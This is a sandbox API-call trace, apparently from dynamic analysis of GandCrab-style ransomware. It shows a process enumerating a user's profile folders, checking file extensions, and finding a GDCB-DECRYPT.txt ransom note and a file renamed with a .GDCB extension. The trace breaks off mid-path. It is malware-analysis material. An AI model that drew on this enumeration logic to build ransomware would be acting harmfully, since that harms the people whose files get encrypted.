[0169.605] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0169.605] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData" [0169.605] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData") returned 46 [0169.605] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Application Data" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Application Data") returned 55 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Contacts" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Contacts") returned 47 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Cookies" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Cookies") returned 46 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Desktop" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Desktop") returned 46 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Documents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Documents" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Documents") returned 48 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Downloads" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Downloads") returned 48 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Favorites" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Favorites") returned 48 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\GDCB-DECRYPT.txt" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\GDCB-DECRYPT.txt") returned 55 [0169.606] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Links" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Links") returned 44 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Local Settings" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Local Settings") returned 53 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0169.606] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0169.606] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Music") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Music" [0169.606] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Music") returned 44 [0169.606] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.606] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\My Documents" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\My Documents") returned 51 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NetHood" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NetHood") returned 46 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT") returned 49 [0169.607] lstrcmpW (lpString1=".DAT", lpString2=".sql") returned -1 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.dat.LOG1" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned 54 [0169.607] lstrcmpW (lpString1=".LOG1", lpString2=".sql") returned -1 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.dat.LOG2" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned 54 [0169.607] lstrcmpW (lpString1=".LOG2", lpString2=".sql") returned -1 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 94 [0169.607] lstrcmpW (lpString1=".blf", lpString2=".sql") returned -1 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 131 [0169.607] lstrcmpW (lpString1=".regtrans-ms", lpString2=".sql") returned -1 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 131 [0169.607] lstrcmpW (lpString1=".regtrans-ms", lpString2=".sql") returned -1 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="ntuser.ini.GDCB", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="ntuser.ini.GDCB", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="ntuser.ini.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.ini.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.ini.GDCB" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\ntuser.ini.GDCB") returned 54 [0169.607] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\OneDrive" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\OneDrive") returned 47 [0169.607] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.607] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0169.607] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0169.607] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Pictures" [0169.607] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Pictures") returned 47 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\PrintHood" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\PrintHood") returned 48 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Recent") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Recent" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Recent") returned 45 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Saved Games" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Saved Games") returned 50 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Searches") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Searches" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Searches") returned 47 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\SendTo" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\SendTo") returned 45 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Start Menu" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Start Menu") returned 49 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Templates") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Templates" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Templates") returned 48 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.608] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0169.608] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0169.608] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Videos") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Videos" [0169.608] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\Videos") returned 45 [0169.608] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.608] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.608] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.608] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\\\GDCB-DECRYPT.txt") returned 56 [0169.609] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.609] GetLastError () returned 0x50 [0169.609] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.609] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\") returned 39 [0169.609] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\*" [0169.609] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b18 [0169.609] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.609] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.609] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.609] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.609] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.609] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0169.609] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0169.609] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData" [0169.609] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\" [0169.609] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.609] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.610] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\") returned 47 [0169.610] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\*" [0169.610] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\*", lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0x5a4dd8 [0169.610] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.610] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.610] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.610] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.610] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.610] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.610] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.610] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt" [0169.610] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 63 [0169.610] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.610] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.610] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0169.610] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0169.610] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="Local" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local" [0169.610] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local") returned 52 [0169.610] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.610] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0169.610] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0169.610] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow" [0169.610] lstrlenW (lpString="C:\\Documents and 